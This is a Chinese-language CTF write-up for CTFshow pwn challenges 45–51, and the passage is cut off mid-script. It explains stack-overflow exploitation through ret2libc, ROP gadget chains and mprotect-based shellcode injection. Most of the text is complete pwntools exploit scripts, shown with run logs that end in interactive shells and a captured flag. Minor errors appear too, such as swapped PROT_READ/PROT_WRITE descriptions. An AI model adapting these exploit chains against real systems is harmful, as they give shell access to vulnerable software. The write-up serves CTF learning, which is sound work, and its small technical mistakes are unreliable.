  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

我们大概了解了这个流程后,我们看到程序这次多出了一个write函数,那么我们就选用它来进行泄露(使用其他的函数也可以,解题方法不唯一)

那么我们先列出一个大纲,去决定我们接下来怎么走:

  • 泄露write函数地址获取 libc 版本

  • 获取 system 地址与 /bin/sh 的地址

  • 再次执行源程序

  • 触发栈溢出执行 system(‘/bin/sh’)

  • 再一步步来讲解我们的利用过程:

  1. 泄露libc版本

    write函数的原型:

    ssize_t write(int fd,const void*buf,size_t count);

    fd:是文件描述符【0 表示标准输入,1 表示标准输出,2 表示标准错误】(write所对应的是写,即就是0) buf:通常是一个字符串,需要写入的字符串 count:是每次写入的字节数

    首先填充(0x6b+4)个字节造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用 write函数,之后跟上main函数地址(重新执行程序,再次利用输入点来进行rop链构造),再设置 write函数;由此可以构造出payload

    cyclic(0x6b+4)        # 填充缓冲区,覆盖到返回地址(0x6b是缓冲区大小,+4覆盖ebp)
    p32(write_plt) # 覆盖返回地址为write函数的PLT地址(调用write)
    p32(main) # write执行完后返回main函数(以便再次触发漏洞)
    p32(0) # write的第一个参数:fd=0(标准输入)
    p32(write_got) # write的第二个参数:buf=write函数在GOT表中的地址
    p32(4) # write的第三个参数:count=4(读取4字节)
    payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) + p32(1) +
    p32(write_got) + p32(4)
    io.recvuntil('O.o?')
    io.sendline(payload)
    write = u32(io.recvuntil('\xf7')[-4:]) # 接收4字节地址
    #print hex(write)
    libc = LibcSearcher('write',write) # 计算libc加载基址
  2. 算出程序的偏移量,计算system和bin/sh的地址

    libc_base = write - libc.dump('write')
    system = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')
  3. 构造rop获取shell

    payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh) #main可以是任意值0等

大致流程如此,使用其他函数泄露遵循其他函数的原型,然后加上对应参数即可

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28202)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) +p32(4)+p32(write_got) + p32(1) #write0,1都可以
io.recvuntil(b'O.o?')
io.sendline(payload)
write = u32(io.recvuntil(b'\xf7')[-4:])
print(hex(write))

libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28202: Done
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
/CTFshow_pwn/exp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('O.o?')
/CTFshow_pwn/exp.py:13: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
write = u32(io.recvuntil('\xf7')[-4:])
0xf7df06f0
[+] There are multiple libc that meet current constraints :
0 - libc6_2.19-0ubuntu6_amd64
1 - libc6_2.19-0ubuntu4_amd64
2 - libc6_2.19-0ubuntu3_amd64
3 - libc6_2.19-0ubuntu5_amd64
4 - libc-2.36-22.mga9.x86_64
5 - libc6-i386_2.27-3ubuntu1_amd64
6 - libc6_2.17-93ubuntu2_amd64
7 - libc6-i386_2.27-3ubuntu1.3_amd64
8 - libc6-i386_2.27-3ubuntu1.4_amd64
9 - libc6_2.17-93ubuntu4_amd64
[+] Choose one : 5
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
ctfshow{3315b627-b11a-49c3-a8ba-894839004a7e}

pwn46

Hint:64位 无 system 无 “/bin/sh”

大致思路和上一题一样,不同的是64位的,前面也讲了它们的区别,大差不差

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
$ ROPgadget --binary ./pwn | grep "pop .*; ret"
0x00000000004005b6 : add byte ptr [rax], al ; pop rbp ; ret
0x00000000004005b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x0000000000400617 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400612 : mov byte ptr [rip + 0x201a4f], 1 ; pop rbp ; ret
0x0000000000400677 : nop ; pop rbp ; ret
0x00000000004005b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004005f5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004007fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400800 : pop r14 ; pop r15 ; ret
0x0000000000400802 : pop r15 ; ret
0x00000000004007fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ff : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005b8 : pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
0x00000000004007fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400615 : sbb ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400614 : sbb r12b, byte ptr [r8] ; add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400803 : pop rdi ; ret
0x0000000000400801 : pop rsi ; pop r15 ; ret
在 x86-64 架构中,函数参数通过寄存器传递:
rdi:第一个参数(文件描述符 fd)
rsi:第二个参数(缓冲区地址 buf)
rdx:第三个参数(写入字节数 count)

write函数原型为:
ssize_t write(int fd, const void *buf, size_t count);

ROP 链中:
p64(1):通过pop rdi将文件描述符1(标准输出)放入rdi。
p64(write_got):通过pop rsi将write的 GOT 表地址放入rsi,这是我们要泄露的内容。
p64(0):通过pop r15将r15填充为 0(r15是多余参数,因为write只需要 3 个参数)。
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
io=process('./pwn')
elf=ELF('./pwn')
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
pop_rdi=0x400803
pop_rsi_r15=0x400801

payload=cyclic(0x70+8)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi_r15)+p64(write_got)+p64(0)
payload+=p64(write_plt)
payload+=p64(main)

io.sendlineafter(b"O.o?",payload)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_addr))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so')
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc = LibcSearcher('write', write_addr)
#libc_base = write_addr - libc.dump('write')
#system = libc_base + libc.dump('system')
#bin_sh = libc_base + libc.dump('str_bin_sh')

payload=cyclic(0x70+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b"O.o",payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 175
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
0x7ffff7ebc560
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
?
$ ls
ctfshow_flag

pwn47

Hint:ez ret2libc

一个简单的ret2libc的应用,给出了很多函数的地址以及“/bin/sh”字符串的地址

先检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位程序关闭栈保护与PIE保护

IDA查看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
logo(&argc);
puts("Give you some useful addr:\n");
printf("puts: %p\n", &puts);
printf("fflush %p\n", &fflush);
printf("read: %p\n", &read);
printf("write: %p\n", &write);
printf("gift: %p\n", useful); // "/bin/sh"
putchar(10);
ctfshow();
return 0;
}

可以看到输出了puts fflush read write 函数的地址,以及一个useful的地址,跟进查看:

.data:0804B028                 public useful
.data:0804B028 useful db '/bin/sh',0 ; DATA XREF: main+AF↑o

发现是“/bin/sh”的地址

运行程序尝试看一下:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Ez ret2libc!
* *************************************
Give you some useful addr:

puts: 0xf7df2140
fflush 0xf7defd10
read: 0xf7e909a0
write: 0xf7e91b80
gift: 0x804b028

Start your show time:
rhea@rhea-VMware-Virtual-Platform:~/Desktop/CTFshow_pwn/libc-database$ ./find write 0xf7e91b80 puts 0xf7df2140
ubuntu-glibc (libc6_2.39-0ubuntu8.4_i386)

确实如此,跟进ctfshow函数:

int ctfshow()
{
char s[152]; // [esp+Ch] [ebp-9Ch] BYREF

puts("Start your show time: ");
gets(s);
return puts(s);
}

依旧是栈溢出漏洞

而且直接给出了各个函数的地址,那么就更加简单了,这里我们通过泄露目标程序中 puts 函数的地址,并使用 LibcSearcher 类搜索 libc 版本和计算system函数的地址。又已知gift就是“/bin/sh”字符串的地址,将其也接收下来最后再进行getshell

from pwn import *
from LibcSearcher import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
io.recvuntil(b"puts:")
puts=eval(io.recvuntil(b"\n",drop=True))
io.recvuntil(b"gift:")
bin_sh=eval(io.recvuntil(b"\n",drop=True))
#puts=0xf7df2140
#bin_sh=0x804b028

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so')
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']

#libc=LibcSearcher("puts",puts)
#libc_base=puts-libc.dump("puts")
#system=libc_base+libc.dump("system")
payload=b"a"*(0x9c+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.interactive()

这里的我们详细分析这几行

io.recvuntil("puts: ")
puts = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))

发现跟之前写的exp有所不同,但是实际上得到的效果是一样的,按照之前的写法也没问题,这里

仅仅是为了演示多种不同的函数写法。

先使用 recvuntil 函数接收远程服务器发送的数据,直到遇到字符串 “puts: “ 。然后使用eval 函数执行接收到的字符串,将其解析为一个表达式并求值,得到 puts 函数的地址。类似地,下面这段代码接收数据,直到遇到字符串 “gift: “ 。然后使用 eval 函数执行接收到的字符串,得到一个地址,赋值给 bin_sh 变量。

其他的就应该没什么问题了。

$ python3 exp.py
[+] Starting local process './pwn': pid 333
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode

Start your show time:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0\xa4\xdc\xf7
$ ls
ctfshow_flag

pwn48

Hint:没有write了,试试用puts吧,更简单了呢

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位关闭栈保护与PIE

还是IDA查看一下main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("O.o?");
ctfshow();
return 0;
}

跟进ctfshow函数:

ssize_t ctfshow()
{
_BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF

return read(0, buf, 0xC8u);
}

栈溢出

套板子:

  1. 利用puts函数去泄露libc版本
  2. 计算偏移量,算出程序里的system函数和字符串“/bin/sh”的地址
  3. 利用溢出漏洞,构造rop,获取shell

32位的相对来说比64位的还是简单一些,通过上面这些应该对32位跟64位的程序漏洞利用已经有了

一个区分了。

from pwn import *
from LibcSearcher import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
main=elf.sym['main']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
payload=cyclic(0x6b+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.recvuntil(b'O.o?')
io.sendline(payload)

puts=u32(io.recvuntil(b'\xf7')[-4:])
print(hex(puts))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_i386.so')
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc=LibcSearcher('puts',puts)
#libc_base=puts-libc.dump('puts')
#system=libc_base+libc.dump('system')
#bin_sh=lib_base+libc.dump('str_bin_sh')

payload=cyclic(0x6b+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 401
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
0xf7df2140
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_i386.so'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn49

Hint:静态编译?或许你可以找找mprotect函数

checksec检查保护

$ chmod +x pwn
$ file pwn && checksec pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

statically linked可以看到是静态编译的,32位程序,仅关闭PIE(这里等下大家会发现有一个问题)

还是在这里先给大家解答一下这个疑问吧,这里检测到开启了栈保护,但是简单测试后发现并没有开启这个保护

但是这里为什么checksec的时候开启了保护呢?

原因在这,由于这是较老版本的checksec,它应该是检测到有这个函数就算打开了栈保护

void __noreturn _stack_chk_fail_local()
{
_fortify_fail_abort(0, "stack smashing detected");
}

在新版本的checksec中并不会出现此问题:

$ checksec --file=./pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No Canary found NX enabled No PIE No RPATH No RUNPATH 2148 Symbols No 0 0 ./pwn

这里的话看个人习惯,如果喜欢新版本的话可以自行去安装一个新版本的。

因此这里的话并没有开启栈保护。

IDA查看一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init_0();
logo();
ctfshow();
return 0;
}

值得注意的是函数非常的多,从这我们也能看出来是静态编译

查找一下mprotect函数:

nsigned int __cdecl mprotect(const void *addy, size_t len, int flags)
{
unsigned int result; // eax

result = sys_mprotect(addy, len, flags);
if ( result >= 0xFFFFF001 )
return _syscall_error();
return result;
}

确实有,那么它的作用是什么呢?

它的作用是能够修改内存的权限为可读可写可执行,然后我们就可以往栈上写入shellcode,执行

获取shell

int mprotect(const void *start, size_t len, int prot);
第一个参数填的是一个地址,是指需要进行操作的地址。
第二个参数是地址往后多大的长度。
第三个参数的是要赋予的权限。
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问。

5) prot=7 是可读可写可执行

指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译,所以地址是不会变的。

指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。因为程序本身也是静态编译,所以地址是不会变的。 那么就

可以开始我们的操作了: 首先造成溢出,让程序跳转到mprotect函数地址,去执行:

payload = cyclic(0x12+4) + p32(mprotect)

Choose segment to jump(shift+F7),调出程序的段表,将0x80DA000地址开始修改为可读可写可执行

.got.plt	080DA000	080DA044	R	W	.	.	L	dword	0013	public	DATA	32	FFFFFFFFFFFFFFFF	FFFFFFFFFFFFFFFF	0014	FFFFFFFFFFFFFFFF	FFFFFFFFFFFFFFFF
.bss 080DB320 080DBFFC R W . . L align_32 0019 public BSS 32 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF 0014 FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF

为什么是0x80DA000而不是bss段的开头0x80DB320,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

使用ROPgadget找到我们需要的ret指令,我们mprotect函数需要设置3个参数,这边就找到3个寄存器就行

由于是静态编译,这里的gadget非常多,因此我们需要更加精准的命令来帮助我们找到我们需要gadget,这里可以在后面用管道添加参数筛选一下: | grep pop

$ ROPgadget --binary pwn --only "pop|ret"|grep pop
...
0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
...

然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,需要继续控制程序

payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
payload += p32(read_addr)

read函数原型:

ssize_t read(int fd, void *buf, size_t count); 

fd 设为0时就可以从输入端读取内容 设为0

buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000

size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓

可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令

payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(M_addr)+p32(M_size)+p32(M_addr)

到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,

接下来我们只要传入shellcode即可

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
from pwn import *
#context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28185)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x80a019b
M_addr = 0x80DA000
M_size = 0x1000 #0x80DA000 % 0x1000 == 0
M_proc = 0x7 #可读可写可执行
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size)+p32(M_proc)
payload += p32(read_addr)
payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(M_addr)+p32(M_size)+p32(M_addr)
#payload += p32(read_addr) # 调用read函数
#payload += p32(pop_ebx_esi_ebp_ret) # 用于设置read的参数
#payload += p32(0) # fd = 0(标准输入)
#payload += p32(M_addr) # buf = 0x80DA000(可执行内存区域)
#payload += p32(M_size) # count = 0x1000(读取4096字节)
#payload += p32(M_addr) # read执行后跳转到此地址(即shellcode起始地址)
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 420
[*] '/CTFshow_pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn50

Hint:好像哪里不一样了,远程libc环境 Ubuntu 18

可以继续使用ret2libc来完成这题,会更简单

from pwn import *
from LibcSearcher import *
io=process('./pwn')
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x4007e3
ret=0x4004fe #注意是Ubuntu 18,有栈对齐问题
payload=cyclic(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)

puts=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts))

libc = ELF('./libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so')
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
#libc=LibcSearcher('puts',puts)
#libc_base=puts-libc.dump('puts')
#system=libc_base+libc.dump('system')
#bin_sh=libc_base+libc.dump('str_bin_sh')
payload=cyclic(0x20+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.recv()
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 549
[*] '/CTFshow_pwn/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
0x7ffff7e27be0
[*] '/CTFshow_pwn/libc-database/db/libc6_2.39-0ubuntu8.4_amd64.so'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
[*] Switching to interactive mode
$ ls
ctfshow_flag pwn

目的是进一步学习mprotect函数

主要流程如下:

  1. 泄漏内存地址,通过计算得到libc地址
  2. 通过mprotect函数来修改一段区域的权限
  3. 向这段区域写入shellcode
  4. 跳转到写入shellcode的区域

显然,这样对做这题来讲可能会更加繁琐,但是跟着一步步调试后,会对mprotect这个函数有更加深刻的认识了。

检查保护:

$ chmod +x pwn
$ checksec pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

64位开启NX,部分开启RELRO

首先第一步:泄漏内存地址,通过计算得到libc地址

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
io.interactive()
[+] libc_base = 0x7ffff7dcd0000
[*] Switching to interactive mode
Hello CTFshow
$

第二步:通过mprotect函数来修改bss的权限为rwx:

from pwn import * 
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context.terminal = ['bash', '-c'] #当前窗口
context.terminal = ['tmux', 'new-window']
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x04007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
gdb.attach(io)
io.interactive()

修改前:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r-xp 1000 0 pwn
0x601000 0x602000 r--p 1000 1000 pwn
0x602000 0x603000 rw-p 1000 2000 pwn
...

修改后:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r-xp 1000 0 pwn
0x601000 0x602000 rwxp 1000 1000 pwn
0x602000 0x603000 rw-p 1000 2000 pwn
...

第三步:向bss段中写入shellcode:

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
context.terminal = ['tmux', 'new-window']
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
payload+= p64(pop_rsi_ret)
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
#gdb.attach(io)
io.interactive()

可以看到此时shellcode已经写入我们构造的bss段
最后一步就是跳转至此进行get shell了

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
bss_page_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 100
print(hex(ctfshow))
print(hex(bss_page_addr))
######### step1 : leak_libc
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts'])
payload+= p64(elf.plt['puts'])
payload+= p64(ctfshow)
io.recvuntil(b"Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split(b"\x0a")[0]).ljust(8,b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x",libc.address)
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x2601f
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ;ret "
pop_rdx_ret = libc.address + 0x142c92
######### step2 : mprotect_bss_to_rwx
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(bss_page_addr)
